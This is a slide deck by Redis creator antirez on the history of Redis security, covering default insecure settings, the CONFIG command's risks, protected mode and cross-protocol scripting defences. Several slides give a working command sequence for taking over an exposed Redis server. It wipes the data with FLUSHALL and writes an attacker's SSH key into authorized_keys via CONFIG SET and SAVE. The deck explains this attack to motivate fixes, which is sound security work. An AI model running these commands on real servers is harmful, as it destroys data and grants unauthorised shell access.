AN OVERVIEW OF REDIS SECURITY

@antirez — Redis Labs

NOT OUR PROBLEM APPROACH

- High performance / fast handshake
- No untrusted access use cases, normally
- Can be secured via SSL tunnels
- Hard to secure API (scripting + CONFIG)

AUTH

- Simple single-user authentication layer
- Very fast to invoke: very long password needed.
- No protections for repeated attempts: more likely to result into DOS.

AUTH

- requirepass “foobar”
- AUTH “foobar” => +OK

Disabled by default…

BIND *

CONFIG COMMAND

- Redis can be reconfigured via the standard API.
- CONFIG SET DIR "/var/redis/…"
- CONFIG REWRITE
- Useful for operations. Increased attack surface, hugely.

MY CLAIM

- Isolate Redis from untrusted networks
- Read the "redis.conf" before running the server.
- If you can't firewall port 6379 maybe it's not my fault.
- And so forth…

REALITY

REDIS BECAME ONE OF THE MOST INSTALLED NETWORKED SERVERS IN THE WORLD.

SECURITY USABILITY COST

- Oh, can’t access Redis from the Web server clients…
- Does not start if I don’t set a default password.
- Can’t use CONFIG commands during emergency if “admin” user is not setup.

“JUST WORKS” IS COOL

- You run ./redis-server without configuration file and it just works
- First experience is very important for users
- Optimize for use case VS security: binding all interfaces is an example.

THEN THINGS DEGENERATED

THE “INSECURE TMP FILE CREATION” ISSUE (VIA PGP OF COURSE).

HOLD MY BEER: I PUBLISHED MY REDIS ATTACK

http://antirez.com/news/96

#1 GENERATE AN SSH KEY

```
$ ssh-keygen -t rsa -C "crack@redis.io"
```

#2 PAD THE KEY WITH NEWLINES

```
$ (echo -e "\n\n"; cat id_rsa.pub; echo
-e "\n\n") > foo.txt
```

#3 SET THE SSH KEY AS CONTENT OF A REDIS STRING KEY

```
$ redis-cli -h 192.168.1.11 FLUSHALL

$ cat foo.txt | redis-cli -h
192.168.1.11 -x set crackit
```

#4 PERSIST THE RDB FILE IN AUTHORIZED_KEYS

```
$ redis-cli -h 192.168.1.11

> config set dir /Users/antirez/.ssh/
OK
> config get dir
1) "dir"
2) "/Users/antirez/.ssh"
> config set dbfilename authorized_keys
OK
> save
```

SSH JUST SKIPS GARBAGE (BINARY) LINES IN AUTHORIZED_KEYS

Hint: we padded our key with newlines to create a valid line at some point.

SHITSTORM IN 3, 2, 1 … GO!!!

NEXT DAYS

- Tons of compromised servers.
- Had to introduce errors in the blog post.
- People insulting me <3
- Ransonware rewriting web roots with "give me money Yo!" messages.

GOOD THINGS

- Users understood Redis is sensitive.
- I understood it was time to do something.

MEASURE #1: PROTECTED MODE: SECURITY + USABILITY

PROTECTED MODE

- IF no AUTH password is set
- AND IF no bind address is specified
- THEN don't allow access from external addresses (but just loopback)
- HOWEVER still reply to outside clients with a clear message about what to do

```
(ERROR) DENIED REDIS IS RUNNING IN PROTECTED MODE
BECAUSE PROTECTED MODE IS ENABLED, NO BIND ADDRESS WAS
SPECIFIED, NO AUTHENTICATION PASSWORD IS REQUESTED TO
CLIENTS. IN THIS MODE CONNECTIONS ARE ONLY ACCEPTED
FROM THE LOOPBACK INTERFACE. IF YOU WANT TO CONNECT
FROM EXTERNAL COMPUTERS TO REDIS YOU MAY ADOPT ONE OF
THE FOLLOWING SOLUTIONS: 1) JUST DISABLE PROTECTED MODE
SENDING THE COMMAND 'CONFIG SET PROTECTED-MODE NO' FROM
THE LOOPBACK INTERFACE BY CONNECTING TO REDIS FROM THE
SAME HOST THE SERVER IS RUNNING, HOWEVER MAKE SURE
REDIS IS NOT PUBLICLY ACCESSIBLE FROM INTERNET IF YOU
DO SO. USE CONFIG REWRITE TO MAKE THIS CHANGE
PERMANENT. 2) ALTERNATIVELY YOU CAN JUST DISABLE THE
PROTECTED MODE BY EDITING THE REDIS CONFIGURATION FILE,
AND SETTING THE PROTECTED MODE OPTION TO 'NO', AND THEN
RESTARTING THE SERVER. 3) IF YOU STARTED THE SERVER
MANUALLY JUST FOR TESTING, RESTART IT WITH THE '--
PROTECTED-MODE NO' OPTION. 4) SETUP A BIND ADDRESS OR
AN AUTHENTICATION PASSWORD. NOTE: YOU ONLY NEED TO DO
ONE OF THE ABOVE THINGS IN ORDER FOR THE SERVER TO
START ACCEPTING CONNECTIONS FROM THE OUTSIDE.
```

AFTER A FEW MONTHS

- 2426 out of 8786 instances on Shodan report -DENIED error.
- Only 3 instances running Redis 3.2 out of 2429 are misconfigured in order to be actually accessible.

MEASURE #2: CROSS PROTOCOL SCRIPTING PROTECTION

CROSS PROTOCOL SCRIPTING

- Redis is targeted by HTTP requests originated from localhost (for example browser POST).
- Inside POST data, we found valid Redis protocol.
- Redis command execution / data leak.

SOLUTION

- Alias Host: and POST pseudo-commands to QUIT.
- Make sure QUIT terminates the client before processing the pending pipeline.

FUTURE

- An ACL model that does not leave the fun of the first minutes of usage: default unauthenticated user. Admin user from loopback interface.
- Better Lua scripting engine sandboxing. We already have some…

THE END

ASK ME ANYTHING HERE OR VIA TWITTER, I'M @ANTIREZ